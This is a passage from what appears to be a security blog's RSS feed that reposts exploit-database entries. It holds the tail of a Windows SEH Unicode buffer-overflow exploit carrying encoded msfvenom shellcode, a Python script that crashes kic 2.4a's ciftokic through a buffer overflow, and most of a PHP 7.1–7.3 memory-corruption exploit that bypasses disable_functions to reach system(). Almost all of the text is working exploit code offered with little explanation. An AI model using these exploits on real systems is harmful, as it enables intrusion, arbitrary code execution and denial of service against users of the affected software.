align <span class="token operator">+=</span> <span class="token string">"\x73"</span>                     <span class="token comment"># Venetian padding</span>
align <span class="token operator">+=</span>  u<span class="token string">'\uC3C3'</span>                 <span class="token comment"># RETN</span>

<span class="token comment"># 1348</span>
junk2 <span class="token operator">=</span> <span class="token string">"\x43"</span> <span class="token operator">*</span> <span class="token number">18</span>

<span class="token comment"># 7FFDD066 + 2 memory address contains the value FFFF0000</span>
<span class="token comment"># This value is going to be placed in EBX </span>
<span class="token comment"># And it doesn't break the execution flow</span>
junk3 <span class="token operator">=</span> <span class="token string">"\x44"</span> <span class="token operator">*</span> <span class="token number">550</span> <span class="token operator">+</span> u<span class="token string">"\uD066"</span> <span class="token operator">+</span> u<span class="token string">"\u7FFD"</span> <span class="token comment"># u"\xF0FF"</span>

<span class="token comment"># msfvenom -p windows/exec CMD=calc -f raw &gt; shellcode.raw</span>
<span class="token comment"># ./alpha2 eax --unicode --uppercase &lt; shellcode.raw</span>
<span class="token comment"># 508 bytes</span>
shellcode <span class="token operator">=</span> <span class="token string">"PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBKLYX4BM0M0KPQP4IZEP17PQTDKPPNPTK1BLLDK1BLTTKT2MXLOVWPJMV01KO6LOLS13LM2NLMPWQHOLMM1WWK2KBPR27TKPRLP4K0JOLTK0LN1D8K3OXKQJ1R1TKPYMPM1HS4KPILXYSOJQ9DKOD4KM1XVNQKO6LGQ8OLMM1WWP89PRUZVLCSMKHOKSMMT2UJD1HDKQHNDKQJ31VTKLL0K4K1HMLM1J3DKKTTKM1HP3YQ4O4ND1K1KQQR9PZ0QKOYPQOQOQJDKLRZKTM1MRJM1DMCUH2KPKPKPPPQXP1TKBOU7KOHUWKL07EFB0V38W6V5WMUMKOJ5OLM63LLJ3PKKIP2UKUWK17MCBRROQZM0B3KOZ51S1Q2LQSKPA"</span>

crash <span class="token operator">=</span> junk1 <span class="token operator">+</span> nseh <span class="token operator">+</span> seh <span class="token operator">+</span> align <span class="token operator">+</span> junk2 <span class="token operator">+</span> shellcode <span class="token operator">+</span> junk3

<span class="token keyword">print</span><span class="token punctuation">(</span>crash<span class="token punctuation">)</span>
            </code></pre>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>kic 2.4a &#8211; Denial of Service</title>
		<link>https://linuxforce.com.br/seguranca-da-informacao/kic-2-4a-denial-of-service/</link>
		
		<dc:creator><![CDATA[Marcio Mariano]]></dc:creator>
		<pubDate>Thu, 31 Oct 2019 17:46:50 +0000</pubDate>
				<category><![CDATA[Segurança da Informação]]></category>
		<guid isPermaLink="false">https://www.linuxforce.com.br/?p=2933</guid>

					<description><![CDATA[kic 2.4a &#8211; Denial of Service # Exploit Title: Ciftokic 2.4a - DoS Buffer Overflow # Date: September 30, 2019 # Exploit Author: @JosueEncinar # Software Link: http://launchpad.net/ubuntu/+source/kic/2.4a-1 # Version: 2.4a # Tested on: Ubuntu 18.04 ''' If we check the ciftokic.c file on line 52 we see the following code: char CIFFile[81], *Tmp;. In [&#8230;]]]></description>
										<content:encoded><![CDATA[<div class="row justify-content-md-center">
<h1 class="card-title text-secondary text-center">kic 2.4a &#8211; Denial of Service</h1>
</div>
<div class="ml-2 mr-2">
<div class="row">
<div class="col-sm-12 col-md-6 col-lg-3 d-flex align-items-stretch">
<div class="card card-stats">
<div class="card-body ">
<div class="statistics statistics-horizontal">
<div class="info info-horizontal">
<div class="row">
<div class="col-6 text-center">
<pre class=" language-py"><code class=" language-py"><span class="token comment"># Exploit Title: Ciftokic 2.4a - DoS Buffer Overflow</span>
<span class="token comment"># Date: September 30, 2019</span>
<span class="token comment"># Exploit Author: @JosueEncinar</span>
<span class="token comment"># Software Link: http://launchpad.net/ubuntu/+source/kic/2.4a-1</span>
<span class="token comment"># Version: 2.4a </span>
<span class="token comment"># Tested on: Ubuntu 18.04</span>

<span class="token triple-quoted-string string">'''
If we check the ciftokic.c file on line 52 we see the following code: char CIFFile[81], *Tmp;.  
In line 84 we have the problem with the following instruction: strcpy(CIFFile,argv[1]);

If the first argument is 80 characters or less, nothing happens, but if we put from 81 onwards the program fails with a Buffer Overflow.
'''</span>

<span class="token comment"># To test the code use Python 3.6+</span>
<span class="token keyword">from</span> os <span class="token keyword">import</span> system
<span class="token keyword">from</span> sys <span class="token keyword">import</span> argv


<span class="token keyword">def</span> <span class="token function">print_usage</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span>
    <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"Usage: python3 ciftokic_overflow.py &lt;characters_numbers&gt;"</span><span class="token punctuation">)</span>
    <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"      |_No Buffer Overflow: python3 ciftokic_overflow.py 80"</span><span class="token punctuation">)</span>
    <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"      |_Buffer Overflow: python3 ciftokic_overflow.py 81"</span><span class="token punctuation">)</span>

<span class="token keyword">if</span> <span class="token builtin">len</span><span class="token punctuation">(</span>argv<span class="token punctuation">)</span> <span class="token operator">==</span> <span class="token number">1</span><span class="token punctuation">:</span>
    print_usage<span class="token punctuation">(</span><span class="token punctuation">)</span>
<span class="token keyword">else</span><span class="token punctuation">:</span>
    <span class="token keyword">try</span><span class="token punctuation">:</span>
        number <span class="token operator">=</span> <span class="token builtin">int</span><span class="token punctuation">(</span>argv<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">)</span>
        payload <span class="token operator">=</span> <span class="token string">"J"</span><span class="token operator">*</span>number
        system<span class="token punctuation">(</span>f<span class="token string">"ciftokic {payload}"</span><span class="token punctuation">)</span>
    <span class="token keyword">except</span><span class="token punctuation">:</span>
        print_usage<span class="token punctuation">(</span><span class="token punctuation">)</span>


<span class="token triple-quoted-string string">"""

Output Example:

josue@josue:~/Escritorio$ python3 ciftokic_overflow.py 80
Error: can't read CIF input file JJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJ
josue@josue:~/Escritorio$ python3 ciftokic_overflow.py 81
*** buffer overflow detected ***: ciftokic terminated
Aborted (core dumped)

"""</span>
            </code></pre>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>PHP 7.1 &lt; 7.3 - &#039;json serializer&#039; Disable Functions Bypass</title>
		<link>https://linuxforce.com.br/seguranca-da-informacao/php-7-1-7-3-json-serializer-disable-functions-bypass/</link>
		
		<dc:creator><![CDATA[Marcio Mariano]]></dc:creator>
		<pubDate>Thu, 31 Oct 2019 17:46:19 +0000</pubDate>
				<category><![CDATA[Segurança da Informação]]></category>
		<guid isPermaLink="false">https://www.linuxforce.com.br/?p=2931</guid>

					<description><![CDATA[PHP 7.1 &#60; 7.3 &#8211; &#8216;json serializer&#8217; Disable Functions Bypass &#60;?php $cmd = "id"; $n_alloc = 10; # increase this value if you get segfaults class MySplFixedArray extends SplFixedArray { public static $leak; } class Z implements JsonSerializable { public function write(&#38;$str, $p, $v, $n = 8) { $i = 0; for($i = 0; $i [&#8230;]]]></description>
										<content:encoded><![CDATA[<h1 class="card-title text-secondary text-center">PHP 7.1 &lt; 7.3 &#8211; &#8216;json serializer&#8217; Disable Functions Bypass</h1>
<pre class=" language-php"><code class=" language-php"><span class="token php language-php"><span class="token delimiter important">&lt;?php</span>

<span class="token variable">$cmd</span> <span class="token operator">=</span> <span class="token double-quoted-string string">"id"</span><span class="token punctuation">;</span>

<span class="token variable">$n_alloc</span> <span class="token operator">=</span> <span class="token number">10</span><span class="token punctuation">;</span> <span class="token shell-comment comment"># increase this value if you get segfaults</span>

<span class="token keyword">class</span> <span class="token class-name">MySplFixedArray</span> <span class="token keyword">extends</span> <span class="token class-name">SplFixedArray</span> <span class="token punctuation">{</span>
    <span class="token keyword">public</span> <span class="token keyword">static</span> <span class="token variable">$leak</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>

<span class="token keyword">class</span> <span class="token class-name">Z</span> <span class="token keyword">implements</span> <span class="token class-name">JsonSerializable</span> <span class="token punctuation">{</span>
    <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function">write</span><span class="token punctuation">(</span><span class="token operator">&amp;</span><span class="token variable">$str</span><span class="token punctuation">,</span> <span class="token variable">$p</span><span class="token punctuation">,</span> <span class="token variable">$v</span><span class="token punctuation">,</span> <span class="token variable">$n</span> <span class="token operator">=</span> <span class="token number">8</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
      <span class="token variable">$i</span> <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>
      <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token variable">$i</span> <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token variable">$i</span> <span class="token operator">&lt;</span> <span class="token variable">$n</span><span class="token punctuation">;</span> <span class="token variable">$i</span><span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
        <span class="token variable">$str</span><span class="token punctuation">[</span><span class="token variable">$p</span> <span class="token operator">+</span> <span class="token variable">$i</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token function">chr</span><span class="token punctuation">(</span><span class="token variable">$v</span> <span class="token operator">&amp;</span> <span class="token number">0xff</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token variable">$v</span> <span class="token operator">&gt;</span><span class="token operator">&gt;=</span> <span class="token number">8</span><span class="token punctuation">;</span>
      <span class="token punctuation">}</span>
    <span class="token punctuation">}</span>

    <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function">str2ptr</span><span class="token punctuation">(</span><span class="token operator">&amp;</span><span class="token variable">$str</span><span class="token punctuation">,</span> <span class="token variable">$p</span> <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token variable">$s</span> <span class="token operator">=</span> <span class="token number">8</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
        <span class="token variable">$address</span> <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>
        <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token variable">$j</span> <span class="token operator">=</span> <span class="token variable">$s</span><span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">;</span> <span class="token variable">$j</span> <span class="token operator">&gt;=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token variable">$j</span><span class="token operator">--</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
            <span class="token variable">$address</span> <span class="token operator">&lt;</span><span class="token operator">&lt;=</span> <span class="token number">8</span><span class="token punctuation">;</span>
            <span class="token variable">$address</span> <span class="token operator">|</span><span class="token operator">=</span> <span class="token function">ord</span><span class="token punctuation">(</span><span class="token variable">$str</span><span class="token punctuation">[</span><span class="token variable">$p</span><span class="token operator">+</span><span class="token variable">$j</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token punctuation">}</span>
        <span class="token keyword">return</span> <span class="token variable">$address</span><span class="token punctuation">;</span>
    <span class="token punctuation">}</span>

    <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function">ptr2str</span><span class="token punctuation">(</span><span class="token variable">$ptr</span><span class="token punctuation">,</span> <span class="token variable">$m</span> <span class="token operator">=</span> <span class="token number">8</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
        <span class="token variable">$out</span> <span class="token operator">=</span> <span class="token double-quoted-string string">""</span><span class="token punctuation">;</span>
        <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token variable">$i</span><span class="token operator">=</span><span class="token number">0</span><span class="token punctuation">;</span> <span class="token variable">$i</span> <span class="token operator">&lt;</span> <span class="token variable">$m</span><span class="token punctuation">;</span> <span class="token variable">$i</span><span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
            <span class="token variable">$out</span> <span class="token punctuation">.</span><span class="token operator">=</span> <span class="token function">chr</span><span class="token punctuation">(</span><span class="token variable">$ptr</span> <span class="token operator">&amp;</span> <span class="token number">0xff</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
            <span class="token variable">$ptr</span> <span class="token operator">&gt;</span><span class="token operator">&gt;=</span> <span class="token number">8</span><span class="token punctuation">;</span>
        <span class="token punctuation">}</span>
        <span class="token keyword">return</span> <span class="token variable">$out</span><span class="token punctuation">;</span>
    <span class="token punctuation">}</span>

    <span class="token shell-comment comment"># unable to leak ro segments</span>
    <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function">leak1</span><span class="token punctuation">(</span><span class="token variable">$addr</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
        <span class="token keyword">global</span> <span class="token variable">$spl1</span><span class="token punctuation">;</span>

        <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">write</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token property">abc</span><span class="token punctuation">,</span> <span class="token number">8</span><span class="token punctuation">,</span> <span class="token variable">$addr</span> <span class="token operator">-</span> <span class="token number">0x10</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token keyword">return</span> <span class="token function">strlen</span><span class="token punctuation">(</span><span class="token function">get_class</span><span class="token punctuation">(</span><span class="token variable">$spl1</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token punctuation">}</span>

    <span class="token shell-comment comment"># the real deal</span>
    <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function">leak2</span><span class="token punctuation">(</span><span class="token variable">$addr</span><span class="token punctuation">,</span> <span class="token variable">$p</span> <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token variable">$s</span> <span class="token operator">=</span> <span class="token number">8</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
        <span class="token keyword">global</span> <span class="token variable">$spl1</span><span class="token punctuation">,</span> <span class="token variable">$fake_tbl_off</span><span class="token punctuation">;</span>

        <span class="token shell-comment comment"># fake reference zval</span>
        <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">write</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token property">abc</span><span class="token punctuation">,</span> <span class="token variable">$fake_tbl_off</span> <span class="token operator">+</span> <span class="token number">0x10</span><span class="token punctuation">,</span> <span class="token number">0xdeadbeef</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token shell-comment comment"># gc_refcounted</span>
        <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">write</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token property">abc</span><span class="token punctuation">,</span> <span class="token variable">$fake_tbl_off</span> <span class="token operator">+</span> <span class="token number">0x18</span><span class="token punctuation">,</span> <span class="token variable">$addr</span> <span class="token operator">+</span> <span class="token variable">$p</span> <span class="token operator">-</span> <span class="token number">0x10</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token shell-comment comment"># zval</span>
        <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">write</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token property">abc</span><span class="token punctuation">,</span> <span class="token variable">$fake_tbl_off</span> <span class="token operator">+</span> <span class="token number">0x20</span><span class="token punctuation">,</span> <span class="token number">6</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token shell-comment comment"># type (string)</span>

        <span class="token variable">$leak</span> <span class="token operator">=</span> <span class="token function">strlen</span><span class="token punctuation">(</span><span class="token variable">$spl1</span><span class="token punctuation">:</span><span class="token punctuation">:</span><span class="token variable">$leak</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token variable">$s</span> <span class="token operator">!=</span> <span class="token number">8</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token variable">$leak</span> <span class="token operator">%</span><span class="token operator">=</span> <span class="token number">2</span> <span class="token operator">&lt;</span><span class="token operator">&lt;</span> <span class="token punctuation">(</span><span class="token variable">$s</span> <span class="token operator">*</span> <span class="token number">8</span><span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">;</span> <span class="token punctuation">}</span>

        <span class="token keyword">return</span> <span class="token variable">$leak</span><span class="token punctuation">;</span>
    <span class="token punctuation">}</span>

    <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function">parse_elf</span><span class="token punctuation">(</span><span class="token variable">$base</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
        <span class="token variable">$e_type</span> <span class="token operator">=</span> <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">leak2</span><span class="token punctuation">(</span><span class="token variable">$base</span><span class="token punctuation">,</span> <span class="token number">0x10</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span>

        <span class="token variable">$e_phoff</span> <span class="token operator">=</span> <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">leak2</span><span class="token punctuation">(</span><span class="token variable">$base</span><span class="token punctuation">,</span> <span class="token number">0x20</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token variable">$e_phentsize</span> <span class="token operator">=</span> <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">leak2</span><span class="token punctuation">(</span><span class="token variable">$base</span><span class="token punctuation">,</span> <span class="token number">0x36</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token variable">$e_phnum</span> <span class="token operator">=</span> <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">leak2</span><span class="token punctuation">(</span><span class="token variable">$base</span><span class="token punctuation">,</span> <span class="token number">0x38</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span>

        <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token variable">$i</span> <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token variable">$i</span> <span class="token operator">&lt;</span> <span class="token variable">$e_phnum</span><span class="token punctuation">;</span> <span class="token variable">$i</span><span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
            <span class="token variable">$header</span> <span class="token operator">=</span> <span class="token variable">$base</span> <span class="token operator">+</span> <span class="token variable">$e_phoff</span> <span class="token operator">+</span> <span class="token variable">$i</span> <span class="token operator">*</span> <span class="token variable">$e_phentsize</span><span class="token punctuation">;</span>
            <span class="token variable">$p_type</span>  <span class="token operator">=</span> <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">leak2</span><span class="token punctuation">(</span><span class="token variable">$header</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
            <span class="token variable">$p_flags</span> <span class="token operator">=</span> <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">leak2</span><span class="token punctuation">(</span><span class="token variable">$header</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
            <span class="token variable">$p_vaddr</span> <span class="token operator">=</span> <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">leak2</span><span class="token punctuation">(</span><span class="token variable">$header</span><span class="token punctuation">,</span> <span class="token number">0x10</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
            <span class="token variable">$p_memsz</span> <span class="token operator">=</span> <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">leak2</span><span class="token punctuation">(</span><span class="token variable">$header</span><span class="token punctuation">,</span> <span class="token number">0x28</span><span class="token punctuation">)</span><span class="token punctuation">;</span>

            <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token variable">$p_type</span> <span class="token operator">==</span> <span class="token number">0x6474e552</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token shell-comment comment"># PT_GNU_RELRO</span>
                <span class="token shell-comment comment"># handle pie</span>
                <span class="token variable">$data_addr</span> <span class="token operator">=</span> <span class="token variable">$e_type</span> <span class="token operator">==</span> <span class="token number">2</span> <span class="token operator">?</span> <span class="token variable">$p_vaddr</span> <span class="token punctuation">:</span> <span class="token variable">$base</span> <span class="token operator">+</span> <span class="token variable">$p_vaddr</span><span class="token punctuation">;</span>
                <span class="token variable">$data_size</span> <span class="token operator">=</span> <span class="token variable">$p_memsz</span><span class="token punctuation">;</span>
            <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token variable">$p_type</span> <span class="token operator">==</span> <span class="token number">1</span> <span class="token operator">&amp;&amp;</span> <span class="token variable">$p_flags</span> <span class="token operator">==</span> <span class="token number">5</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token shell-comment comment"># PT_LOAD, PF_Read_exec</span>
                <span class="token variable">$text_size</span> <span class="token operator">=</span> <span class="token variable">$p_memsz</span><span class="token punctuation">;</span>
            <span class="token punctuation">}</span>
        <span class="token punctuation">}</span>

        <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token operator">!</span><span class="token variable">$data_addr</span> <span class="token operator">||</span> <span class="token operator">!</span><span class="token variable">$text_size</span> <span class="token operator">||</span> <span class="token operator">!</span><span class="token variable">$data_size</span><span class="token punctuation">)</span>
            <span class="token keyword">return</span> <span class="token boolean">false</span><span class="token punctuation">;</span>

        <span class="token keyword">return</span> <span class="token punctuation">[</span><span class="token variable">$data_addr</span><span class="token punctuation">,</span> <span class="token variable">$text_size</span><span class="token punctuation">,</span> <span class="token variable">$data_size</span><span class="token punctuation">]</span><span class="token punctuation">;</span>
    <span class="token punctuation">}</span>

    <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function">get_basic_funcs</span><span class="token punctuation">(</span><span class="token variable">$base</span><span class="token punctuation">,</span> <span class="token variable">$elf</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
        <span class="token function">list</span><span class="token punctuation">(</span><span class="token variable">$data_addr</span><span class="token punctuation">,</span> <span class="token variable">$text_size</span><span class="token punctuation">,</span> <span class="token variable">$data_size</span><span class="token punctuation">)</span> <span class="token operator">=</span> <span class="token variable">$elf</span><span class="token punctuation">;</span>
        <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token variable">$i</span> <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token variable">$i</span> <span class="token operator">&lt;</span> <span class="token variable">$data_size</span> <span class="token operator">/</span> <span class="token number">8</span><span class="token punctuation">;</span> <span class="token variable">$i</span><span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
            <span class="token variable">$leak</span> <span class="token operator">=</span> <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">leak2</span><span class="token punctuation">(</span><span class="token variable">$data_addr</span><span class="token punctuation">,</span> <span class="token variable">$i</span> <span class="token operator">*</span> <span class="token number">8</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
            <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token variable">$leak</span> <span class="token operator">-</span> <span class="token variable">$base</span> <span class="token operator">&gt;</span> <span class="token number">0</span> <span class="token operator">&amp;&amp;</span> <span class="token variable">$leak</span> <span class="token operator">-</span> <span class="token variable">$base</span> <span class="token operator">&lt;</span> <span class="token variable">$text_size</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
                <span class="token variable">$deref</span> <span class="token operator">=</span> <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">leak2</span><span class="token punctuation">(</span><span class="token variable">$leak</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
                <span class="token shell-comment comment"># 'constant' constant check</span>
                <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token variable">$deref</span> <span class="token operator">!=</span> <span class="token number">0x746e6174736e6f63</span><span class="token punctuation">)</span>
                    <span class="token keyword">continue</span><span class="token punctuation">;</span>
            <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token keyword">continue</span><span class="token punctuation">;</span>

            <span class="token variable">$leak</span> <span class="token operator">=</span> <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">leak2</span><span class="token punctuation">(</span><span class="token variable">$data_addr</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token variable">$i</span> <span class="token operator">+</span> <span class="token number">4</span><span class="token punctuation">)</span> <span class="token operator">*</span> <span class="token number">8</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
            <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token variable">$leak</span> <span class="token operator">-</span> <span class="token variable">$base</span> <span class="token operator">&gt;</span> <span class="token number">0</span> <span class="token operator">&amp;&amp;</span> <span class="token variable">$leak</span> <span class="token operator">-</span> <span class="token variable">$base</span> <span class="token operator">&lt;</span> <span class="token variable">$text_size</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
                <span class="token variable">$deref</span> <span class="token operator">=</span> <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">leak2</span><span class="token punctuation">(</span><span class="token variable">$leak</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
                <span class="token shell-comment comment"># 'bin2hex' constant check</span>
                <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token variable">$deref</span> <span class="token operator">!=</span> <span class="token number">0x786568326e6962</span><span class="token punctuation">)</span>
                    <span class="token keyword">continue</span><span class="token punctuation">;</span>
            <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token keyword">continue</span><span class="token punctuation">;</span>

            <span class="token keyword">return</span> <span class="token variable">$data_addr</span> <span class="token operator">+</span> <span class="token variable">$i</span> <span class="token operator">*</span> <span class="token number">8</span><span class="token punctuation">;</span>
        <span class="token punctuation">}</span>
    <span class="token punctuation">}</span>

    <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function">get_binary_base</span><span class="token punctuation">(</span><span class="token variable">$binary_leak</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
        <span class="token variable">$base</span> <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>
        <span class="token variable">$start</span> <span class="token operator">=</span> <span class="token variable">$binary_leak</span> <span class="token operator">&amp;</span> <span class="token number">0xfffffffffffff000</span><span class="token punctuation">;</span>
        <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token variable">$i</span> <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token variable">$i</span> <span class="token operator">&lt;</span> <span class="token number">0x1000</span><span class="token punctuation">;</span> <span class="token variable">$i</span><span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
            <span class="token variable">$addr</span> <span class="token operator">=</span> <span class="token variable">$start</span> <span class="token operator">-</span> <span class="token number">0x1000</span> <span class="token operator">*</span> <span class="token variable">$i</span><span class="token punctuation">;</span>
            <span class="token variable">$leak</span> <span class="token operator">=</span> <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">leak2</span><span class="token punctuation">(</span><span class="token variable">$addr</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">7</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
            <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token variable">$leak</span> <span class="token operator">==</span> <span class="token number">0x10102464c457f</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token shell-comment comment"># ELF header</span>
                <span class="token keyword">return</span> <span class="token variable">$addr</span><span class="token punctuation">;</span>
            <span class="token punctuation">}</span>
        <span class="token punctuation">}</span>
    <span class="token punctuation">}</span>

    <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function">get_system</span><span class="token punctuation">(</span><span class="token variable">$basic_funcs</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
        <span class="token variable">$addr</span> <span class="token operator">=</span> <span class="token variable">$basic_funcs</span><span class="token punctuation">;</span>
        <span class="token keyword">do</span> <span class="token punctuation">{</span>
            <span class="token variable">$f_entry</span> <span class="token operator">=</span> <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">leak2</span><span class="token punctuation">(</span><span class="token variable">$addr</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
            <span class="token variable">$f_name</span> <span class="token operator">=</span> <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">leak2</span><span class="token punctuation">(</span><span class="token variable">$f_entry</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">6</span><span class="token punctuation">)</span><span class="token punctuation">;</span>

            <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token variable">$f_name</span> <span class="token operator">==</span> <span class="token number">0x6d6574737973</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token shell-comment comment"># system</span>
                <span class="token keyword">return</span> <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">leak2</span><span class="token punctuation">(</span><span class="token variable">$addr</span> <span class="token operator">+</span> <span class="token number">8</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
